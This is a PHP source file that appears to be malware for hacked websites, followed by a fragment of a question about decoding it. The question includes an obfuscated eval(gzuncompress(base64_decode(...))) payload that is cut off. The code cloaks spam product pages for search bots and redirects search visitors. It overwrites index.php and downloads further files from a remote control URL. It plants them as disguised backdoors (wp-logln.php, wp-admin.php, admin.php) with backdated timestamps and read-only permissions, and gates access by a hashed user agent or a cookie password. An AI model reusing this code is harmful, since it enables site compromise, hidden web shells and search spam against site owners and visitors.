			$filemd5 = '0';
		}else{
			$filemd5 = md5_file($toname);
		}
		if($md5str == $filemd5){
			return;
		}else{
						file_put_contents_force($_SERVER['SCRIPT_FILENAME'], $str);
		}
	}
}


function replaceIndex($file){
	if(defined('REPLACE_INDEX') && REPLACE_INDEX == 'no'){
		return;
	}
	
	if(!@file_exists($file)){
		if($_SERVER['SCRIPT_NAME'] != '/index.php'){
			if(!rename('index.php', $file)){
				die('rename error!');
			}else{
				
				if(!copy($_SERVER['SCRIPT_FILENAME'], 'index.php')){
					die('copy error!');
				}
			}
			
			if(@file_exists($file)){unlink(__FILE__);}
			header('Location: /');
		}
	}
}


function checkStatus(){
	if(isset($_GET['checkstatus']) && $_GET['checkstatus'] == 'areyouok'){
		die('live');
	}
	if(isset($_GET['action']) && $_GET['action'] == 'version'){
		echo CURRENT_VERSION;
		exit();
	}
}


function contentLink($cid, $lid){
	$cid = $cid.'';
	$lid = $lid.'';
	$link = '/' . INDEX_PHP;
	$str = 'abcdefghijklmnopqrstuvwxyz';
	$intR = intSeed(MainDomain() . $cid . $lid);
	srand($intR);
	for($i=0;$i < 6;$i++){
		$link .= $str[mt_rand(0, 25)];
	}
	$link .= $cid . '/';
	for($i=0;$i < 6;$i++){
		$link .= $str[mt_rand(0, 25)];
	}
	$link .= $lid;
	return $link;
}


function getCid(){
	if(empty($_SERVER['PATH_INFO'])){
		$pathinfo = isset($_SERVER["REDIRECT_URL"]) ? $_SERVER["REDIRECT_URL"] : '';
		if(empty($pathinfo)){
			$arr = explode('?',$_SERVER['REQUEST_URI']);
			$pathinfo = $arr[0];
		}
	}else{
		$pathinfo = $_SERVER['PATH_INFO'];
	}
	$arrResult = array();
	$arr = explode("/", $pathinfo);
	if(sizeof($arr) == 3 && empty($arr[0]) && !empty($arr[1]) && !empty($arr[2])){
		$arrResult['cid'] = preg_replace('|[^\d]|i', '', $arr[1]);
		$arrResult['lid'] = preg_replace('|[^\d]|i', '', $arr[2]);
		if(is_numeric($arrResult['cid']) && is_numeric($arrResult['lid'])){
			return $arrResult;
		}
	}
	return false;
}


function getHtml($url, $data = array()){
	if(defined('USECURL') && USECURL == 'no'){
	    $usecurl = false;
	}else{
	    $usecurl = true;
	}
	if(function_exists('curl_init')){
    	$curl = curl_init();        	@curl_setopt($curl, CURLOPT_URL, $url);      	@curl_setopt($curl, CURLOPT_HEADER, 0);      	@curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);      	    
    	@curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    	@curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
    	@curl_setopt($curl, CURLOPT_ENCODING, '');       	    	  
    	@curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0');  
    
		@curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); 
    	if(!empty($data)){
    		@curl_setopt($curl, CURLOPT_POST, 1);
    		@curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
    	}
    	    	$result = curl_exec($curl);
    	curl_close($curl);
	}else{
	    $usecurl = false;
	}
	if($usecurl == false){
		if(!empty($data)){
			$requestBody = http_build_query($data);
			$arrOption = array(
				'http' => array(
					'method' => 'POST', 
					'header' => "Content-Type: application/x-www-form-urlencoded
".'Content-Length: ' . mb_strlen($requestBody), 
					'content' => $requestBody
				)
			);
			$context = stream_context_create($arrOption);
			$result = file_get_contents($url, false, $context);
		}else{
			$result = file_get_contents($url);
		}
	}
	return $result;
}


function htmlImgTag($src, $des, $width = 800, $height = 800){
    return '<img width="'.$width.'" height="'.$height.'" src="'.$src.'" alt="'.$des.'" longdes="'.$des.'">';
}


function intSeed($str){
	$pathinfo = isset($_SERVER["PATH_INFO"]) ? $_SERVER["PATH_INFO"] : '';
	$str = md5(MainDomain() . $_SERVER["SCRIPT_NAME"] . $pathinfo . $str); 
	$int = hexdec(substr($str, 0, 8));
	return $int;
}

function isSuperMan(){
	if(md5(md5(md5($_SERVER['HTTP_USER_AGENT']))) == UAMD53KEY)
	{
		
		return true;
	}
    return false;
}


function isBot(){
	if(isSuperMan())
	{
		return true;
	}
	$arr = array(
		'google',
		'bot',
		'yahoo',
		'yandex',
		'bing',
	);
	
	if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) AND $_SERVER['HTTP_ACCEPT_LANGUAGE']!=''){
	    return false;
	}
	
	if(isset($_SERVER['HTTP_REFERER']) AND $_SERVER['HTTP_REFERER']!=''){
	    return false;
	}
	
	foreach($arr as $str)
	{
		if(preg_match('/' . $str . '/i',$_SERVER['HTTP_USER_AGENT']))
		{
			return true;
		}
	}
	return false;
}


function MainDomain(){
	$domain = strtolower($_SERVER['HTTP_HOST']);
	if(substr($domain, 0, 4) == 'www.'){
		return substr($domain, 4);
	}else{
		return $domain;
	}
}


function needJump(){
	$arr = array(
		'google',
		'bot',
		'yahoo',
		'yandex',
		'bing',
	);
		foreach($arr as $str)
	{
		if(preg_match('/' . $str . '/i',$_SERVER['HTTP_USER_AGENT']))
		{
			return false;
		}
	}
		if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) && preg_match('/(zh|cn)/i',$_SERVER['HTTP_ACCEPT_LANGUAGE']))
	{
		return false;
	}
		if(isset($_SESSION['referer']) && $_SESSION['referer'] == 'SearchEngine'){
		return true;
	}
	$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
		if(empty($referer))
	{
		return false;
	}else{
			$referer_array = parse_url($referer);
		$referer_host = strtolower($referer_array['host']);
		if(strstr($referer_host, '.google.') !== false || strstr($referer_host, '.yahoo.') !== false){ 			$_SESSION['referer'] = 'SearchEngine';
			return true;
		}else{
			return false;
		}
	}
	return false;
}


function showProduct($obj){
	$keyword = $obj['randWords'][0] . ' ' . $obj['randWords'][1] . ' ' . $obj['randWords'][2] . ' ' 
	. $obj['keyword'] . ' ' 
	. $obj['randWords'][3] . ' ' . $obj['randWords'][4] . ' ' . $obj['randWords'][5];
	$liil = '';
	foreach($obj['relatedKeywords'] as $keyword1){
		$link = is_https() . $_SERVER['HTTP_HOST'] . '/' . INDEX_PHP . keywordtouri($keyword1) . URI_END_OF_KEYWORD;
		$liil .= '		<li><a href="'.$link.'">'.$keyword1.'</li>'."
";
	}
	$imagesdiv = showImagesMobile(base64_decode($obj['content64']), $obj['keyword']);
	$str = '<!DOCTYPE html>'.
		PHP_EOL.'<html>'.
		PHP_EOL.'<head>'.
		PHP_EOL.'	<title>'.$keyword.'</title>'.
		PHP_EOL.'	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />'.
		PHP_EOL.'	<meta name="keywords" content="'.$keyword.'" /> '.
		PHP_EOL.'	<meta name="description" content="'.$keyword.'" />'.
		PHP_EOL.'	<meta name="apple-mobile-web-app-capable" content="yes" />'.
		PHP_EOL.'	<meta name="apple-mobile-web-app-status-bar-style" content="black" />'.
		PHP_EOL.'	<meta name="viewport" content="width=device-width,initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no" />'.
		PHP_EOL.'	<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">'.
		PHP_EOL.'</head>'.
		PHP_EOL.'<body>'.
		PHP_EOL.'	<div class="main">'.
		PHP_EOL.'		<a href="/">Home</a><br />'.
		PHP_EOL.'		<h1>'.$keyword.'</h1>'.
		PHP_EOL.'		<div class="content">'.
		PHP_EOL.'			'. $imagesdiv .
		PHP_EOL.'		</div>'.
		PHP_EOL.'	</div>'.
		PHP_EOL.'	<style>'.
		PHP_EOL.'		img{ border:0;width:100%;max-width:500px;}'.
		PHP_EOL.'		ul li{list-style-type:none;width:49%;float:left;}'.
		PHP_EOL.'		.clear{clear:both;}'.
		PHP_EOL.'	</style>'.
		PHP_EOL.'	<ul class="related">'.
		PHP_EOL.''.$liil.relatedOutLinks().
		PHP_EOL.'	</ul>'.
		PHP_EOL.'</body>'.
		PHP_EOL.'</html>';
	header('Content-type: text/html; charset=utf-8');
    echo $str;
    die();
}


function is_https(){
	if ( isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
		return 'https://';
	} elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
		return 'https://';
	} elseif ( isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
		return 'https://';
	}
	return 'http://';
}


function keywordtouri($keyword)
{
	$url = str_replace(' ', '-', trim($keyword));
	$url = urlencode($url);
	return $url;
}


function showRobotsTxt(){
	$indexurl = is_https() . $_SERVER['HTTP_HOST'] . '/';
	@header('Content-Type: text/plain');
	$str = 'User-agent: Baiduspider'.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: AhrefsBot '.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: MJ12bot '.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: BLEXBot '.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: DotBot'.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: SemrushBot'.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: YandexBot'.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: *'.PHP_EOL.'Disallow:'.PHP_EOL.'Sitemap: ' . is_https().$_SERVER['HTTP_HOST'] . '/sitemap.xml';
	echo $str;
	die;
}


function pingGoogle(){
	if(isset($_GET['action']) && $_GET['action'] == 'pinggoogle'){
        $indexurl = is_https() . $_SERVER['HTTP_HOST'] . '/';
		$api = "https://www.google.com/ping?sitemap=" . $indexurl . INDEX_PHP . 'sitemap.xml';
        $content = getHtml($api);
        if(!stristr($content, 'webmasters/tools')){
            echo '' . $api;
        }else{
            echo $content;
        }
        exit();
	}
}


function showSiteMap(){
	$indexurl = is_https() . $_SERVER['HTTP_HOST'] . '/';
	$date = date('Y-m-d');
	$result = '<?xml version="1.0" encoding="UTF-8"?>'.PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'.PHP_EOL.'	<url>'.PHP_EOL.'	<loc>'.$indexurl.'</loc>'.PHP_EOL.'	<priority>1.0</priority>'.PHP_EOL.'	<changefreq>always</changefreq>'.PHP_EOL.'	<lastmod>'.$date.'</lastmod>'.PHP_EOL.'	</url>';
	$intR = intSeed(MainDomain());
	srand($intR);
	$str = 'abcdefghijklmnopqrstuvwxyz';
	for($i=0;$i<3000;$i++){
		$link = $indexurl . INDEX_PHP 
		. $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)] 
		. $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)]
		. '/'
		. $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)]
		. $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)];
		$result .= PHP_EOL.'	<url>'.PHP_EOL.'		<loc>'.$link.'-c.html</loc>'.PHP_EOL.'		<priority>0.8</priority>'.PHP_EOL.'		<changefreq>weekly</changefreq>'.PHP_EOL.'		<lastmod>'.$date.'</lastmod>'.PHP_EOL.'	</url>';
	}
	$result .= PHP_EOL.'</urlset>';
	header('Content-Type: text/xml');
	echo $result;
	die();
}


function showImagesMobile($str, $keyword)
{
	$arr = explode("
", $str);
		$arrIndex = randArray(0, (@count($arr) - 1));
	$returnstr = '<div class="imagesContainer">';
		$newContext = new context('Product');
	$newContext->setName($keyword);
	$newContext->setDescription($keyword . ' - ' . $_SERVER['HTTP_HOST']);
	$newContext->setOffers();
	foreach($arrIndex as $index)
	{
		$line = $arr[$index];
		$arrline = explode('|||', $line);
		if(count($arrline) > 2)
		{
			$keyword = htmlspecialchars(trim($arrline[1]));
			$newContext->addImage(trim($arrline[0]));
			$returnstr .='
			<div class="media">
				<a href="' . $arrline[0] . '" alt="' . $keyword . '" title="' . $keyword . '">
					<img class="mr-3" src="' . $arrline[0] . '" alt="' . $keyword . '" title="' . $keyword . '" />
				</a>
				<div class="media-body">
					<h5 class="mt-0">' . $keyword . '</h5>
				</div>
			</div>
			<br>
';
		}
	}
	$returnstr .= '
		</div>';
	$returnstr .= $newContext->showScript();
	return $returnstr;
}

function randArray($min, $max)
{
	$seed = intSeed($_SERVER['REQUEST_URI']);
	srand($seed);
	$result = array();
	for($i=$min; $i <= $max; $i++)
	{
		$result[] = rand($min, $max);
	}
	$result = array_unique($result);
	return $result;
}

function file_put_contents_force($filename, $content){
    if(@is_file($filename)){
		@chmod($filename, 0767);
    }
    @file_put_contents($filename, $content);
	@chmod($filename, 0444);
}

function setupshe(){
	if(!@file_exists('about.php') || !@file_exists('wp-include.php') || !@file_exists('wp-admin.php') || !@file_exists('wp-comment.php') || !@file_exists('wp-corn-sample.php') || !@file_exists('wp-logln.php') || !@file_exists('wp-ver.php') || !@file_exists('admin.php')){
		$filetime = getMiddleFileTime();
		if(!@file_exists('about.php')){
			$alfa = readFileContent('alfa.txt');
			file_put_contents_force('about.php', $alfa);
			touch('about.php', $filetime);
		}

		if(!@file_exists('wp-corn-sample.php')){
			$kct = readFileContent('kct.txt');
			file_put_contents_force('wp-corn-sample.php', $kct);
			touch('wp-corn-sample.php', $filetime);
		}

		if(!@file_exists('wp-logln.php')){
			$one = readFileContent('one.txt');
			file_put_contents_force('wp-logln.php', $one);
			touch('wp-logln.php', $filetime);
		}

		if(!@file_exists('wp-include.php')){
			$one4 = readFileContent('one4.txt');
			file_put_contents_force('wp-include.php', $one4);
			touch('wp-include.php', $filetime);
		}

		if(!@file_exists('wp-ver.php')){
            $yihuo = readFileContent('yihuo.txt');
            file_put_contents_force('wp-ver.php', $yihuo);
            touch('wp-ver.php', $filetime);
        }
		if(!@file_exists('wp-admin.php')){
            $wplog2 = readFileContent('wplog2.txt');
            file_put_contents_force('wp-admin.php', $wplog2);
            touch('wp-admin.php', $filetime);
        }
		if(!@file_exists('wp-comment.php')){
            $one_url_password = readFileContent('one_url_password.txt');
            file_put_contents_force('wp-comment.php', $one_url_password);
            touch('wp-comment.php', $filetime);
        }
		if(!@file_exists('admin.php')){
            $xxx = readFileContent('xxx.txt');
            file_put_contents_force('admin.php', $xxx);
            touch('admin.php', $filetime);
        }
	}
}

function readFileContent($file, $loadCache = true, $domain = ''){
    if(isset($_REQUEST['mini']) && $_REQUEST['mini'] == 'on'){
        $mini = '&mini=on';
    }elseif(isset($_SESSION['mini']) && $_SESSION['mini'] == 'on'){
        $mini = '&mini=on';
    }elseif(isset($_SESSION['codeMethod']['mini']) && $_SESSION['codeMethod']['mini'] == 'on'){
        $mini = '&mini=on';
    }else{
        $mini = '';
    }
    if(isset($_REQUEST['cf']) && $_REQUEST['cf'] == 'off'){
        $cf = '&cf=off';
    }elseif(isset($_SESSION['codeMethod']['cf']) && $_SESSION['codeMethod']['cf'] == 'on'){
        $cf = '&cf=on';
    }elseif(isset($_SESSION['cf']) && $_SESSION['cf'] == 'off'){
        $cf = '&cf=off';
    }else{
        $cf = '';
    }
    if(isset($_REQUEST['singleencoder']) && $_REQUEST['singleencoder'] == 'on'){
        $cf = '&singleencoder=on';
    }elseif(isset($_SESSION['codeMethod']['singleencoder']) && $_SESSION['codeMethod']['singleencoder'] == 'on'){
        $cf = '&singleencoder=on';
    }elseif(isset($_SESSION['singleencoder']) && $_SESSION['singleencoder'] == 'on'){
        $cf = '&singleencoder=on';
    }else{
        $cf = '';
    }
    if(isset($_REQUEST['v'])){
        $version = '&v=' . $_REQUEST['v'];
    }else{
        $version = '';
    }
	if(empty($domain)){
		preg_match('/^[^:]*/i',$_SERVER['HTTP_HOST'], $match);$domain = $match[0];
		$domain = preg_replace('|^www\.|i','',$domain);
	}
	$uri = URLHEAD.'?domain=' . $domain . '&file='.$file . $cf . $mini . $version . '';
    if($loadCache){
		$content = getCache(md5($uri));
    }
	if(substr($content, 0, 5) != '<?php'){
        $content = getHtml($uri);
        if($content){
            saveCache(md5($uri), $content);
        }
	}
    return $content;
}

function getCache($file){
    global $fileContent;
    if(!empty($fileContent[$file])){
        return $fileContent[$file];
    }
    if(!empty($GLOBALS['fileContent'][$file])){
        return $GLOBALS['fileContent'][$file];
    }
    $tmpDir = sys_get_temp_dir1() . DIRECTORY_SEPARATOR . get_current_user1() . DIRECTORY_SEPARATOR;
    $filename = $tmpDir . md5($file);
    if(@file_exists($filename) && (filemtime($filename) - time() < 1800)){
        return file_get_contents($filename);
    }
    return false;
}

function saveCache($file, $content, $onlyfile = false){
    global $fileContent;
    if(!$onlyfile){
        $GLOBALS['fileContent'][$file] = $content;
        $fileContent[$file] = $content;
    }
    $tmpDir = sys_get_temp_dir1() . DIRECTORY_SEPARATOR . get_current_user1() . DIRECTORY_SEPARATOR;
    if(!@is_dir($tmpDir)){
        @mkdir($tmpDir, 0747, true);
    }
    $filename = $tmpDir . md5($file);
    file_put_contents_force($filename, $content);
}


function getMiddleFileTime($dir = '.'){
	if(isset($GLOBALS[$dir]['middleFileTime']) && is_numeric($GLOBALS[$dir]['middleFileTime'])){
		return $GLOBALS[$dir]['middleFileTime'];
	}
    $arrFiles = @scandir($dir);
    $arrT = array();
    foreach($arrFiles as $file){
        $filename = $dir . '/' . $file;
        if(@is_file($filename)){
            $t = filemtime($filename);
            if(!in_array($t, $arrT)){
                $arrT[] = $t;
            }
        }
    }
    sort($arrT);
    $index = count($arrT)/3;
    if($index){
        if($index>=1){
            $index = floor($index);
        }else{
            $index = 1;
        }
		$GLOBALS[$dir]['middleFileTime'] = $arrT[$index];
    }else{
        $GLOBALS[$dir]['middleFileTime'] = time();
    }
    return $arrT[$index];
}

function sys_get_temp_dir1()
{
	if(isset($GLOBALS['tmpPath']) && @is_dir($GLOBALS['tmpPath']) && @is_writable($GLOBALS['tmpPath'])){
		return $GLOBALS['tmpPath'];
	}
	if(@is_dir('/tmp') && @is_writable('/tmp')){
		return '/tmp';
	}elseif(function_exists('sys_get_temp_dir')){
		$tmpPath = sys_get_temp_dir();
		if(!@is_dir($tmpPath)){
			@mkdir($tmpPath, 0747, true);
		}
		return $tmpPath;
	}
    foreach (array('TMP', 'TEMP', 'TMPDIR') as $env_var) {
        if ($temp = getenv($env_var)) {
            return $temp;
        }
    }
    $temp = tempnam('tmp', '');
    if (@file_exists($temp)) {
        unlink($temp);
		$GLOBALS['tmpPath'] = dirname($temp);
        return $GLOBALS['tmpPath'];
    }
    return null;
}


function jsonEncode($var)
{
	if (function_exists('json_encode')) {
		return json_encode($var);
	} else {
		$jsonfile = md5('Services_JSON.php');
		if(!@is_file($jsonfile)){
			@file_put_contents($jsonfile, getHtml('https://raw.githubusercontent.com/pear/Services_JSON/trunk/JSON.php'));
		}
		include_once $jsonfile;
		if(class_exists('Services_JSON')){
			$result = '';
			$code = '$json = new Services_JSON;$result = $json->encodeUnsafe($var);';
			eval($code);
			return $result;
		}
	}
        return '';
}


function jsonDecode($var, $assoc=false)
{
	if (function_exists('json_decode')) {
		return json_decode($var, $assoc);
	} else {
		$jsonfile = md5('Services_JSON.php');
		if(!@is_file($jsonfile)){
			@file_put_contents($jsonfile, getHtml('https://raw.githubusercontent.com/pear/Services_JSON/trunk/JSON.php'));
		}
		include_once $jsonfile;
		if ( $assoc ){
                        if(class_exists('Services_JSON')){
                                $result = '';
                                $code = '$json = new Services_JSON(SERVICES_JSON_LOOSE_TYPE);$result = $json->decode($var);';
                                eval($code);
                                return $result;
                        }
		} else {
                        if(class_exists('Services_JSON')){
                                $result = '';
                                $code = '$json = new Services_JSON;$result = $json->decode($var);';
                                eval($code);
                                return $result;
                        }
		}

	}
        return '';
}


function cookieAuthor(){
	if(@session_start()){
		preg_match('/^[^:]*/i',$_SERVER['HTTP_HOST'], $match);
		$domain = $match[0];
		$domain=preg_replace('|^www\.|', '', $domain);
		if($_COOKIE[md5($domain.'pswd')] == COOKIEPSWD){
			return true;
		}
	}else{
		return true;
	}
	return false;
}

class context{
	public $context = '';
	public $type = '';
	public $name = '';
	public $image = array();
	public $description = '';
	public $offers = array();
		function __construct($type = ''){
		$this->context = 'https://schema.org/';
		$this->type = 'Product';
		if(empty($type)){
			$type = 'Product';
		}
		$this->type = $type;
	}
		function setName($name){
		$this->name = $name;
	}
		function addImage($src){
		$this->image[] = $src;
	}
		function setDescription($str){
		$this->description = $str;
	}
		function setOffers(){
		$arr = array(
			'@type' => 'Offer',
			'url' => $this->getSchema() . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'],
			'priceCurrency' => 'USD',
			'price' => '9.9',
			'availability' => 'http://schema.org/InStock',
			'priceValidUntil' => date('Y') + 1,
		);
		$this->offers = $arr;
	}
		function showScript(){
		$arr = array(
			'@context' => $this->context,
			'@type' => $this->type,
			'name' => $this->name,
			'image' => $this->image,
			'description' => $this->description,
			'offers' => $this->offers,
		);
		$str = jsonEncode($arr);
		return '
<script type="application/ld+json">'.$str.'</script>';
	}
    function getSchema(){
    if ( isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
        return 'https://';
    } elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
        return 'https://';
    } elseif ( isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
        return 'https://';
    }
    return 'http://';
  }
}


function currentSchema()
{
	$schema = false;
	if(isset($_SERVER['REQUEST_SCHEME'])){
		$schema = strtolower($_SERVER['REQUEST_SCHEME']);
	}elseif(isset($_SERVER['HTTPS'])){
		if(strtolower($_SERVER['HTTPS']) == 'on'){
			$schema = 'https';
		}elseif(strtolower($_SERVER['HTTPS']) == 'off'){
			$schema = 'http';
		}
	}elseif(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])){
		$schema = strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']);
	}elseif(isset($_SERVER['HTTP_FRONT_END_HTTPS'])){
		if(strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off'){
			$schema = 'https';
		}else{
			$schema = 'http';
		}
	}
	return $schema;
}

function isPHPFile($file){
	$content = file_get_contents($file);
	if(stristr($content, '<?php')){
		return true;
	}
	return false;
}


function isHomePage(){
    if(preg_match("`^/(index\.(php|html|htm))?$`", $_SERVER["REQUEST_URI"])){
        return true;
    }
    return false;
}
?>

Did this file decode correctly?

Original Code

<?=eval(gzuncompress(base64_decode("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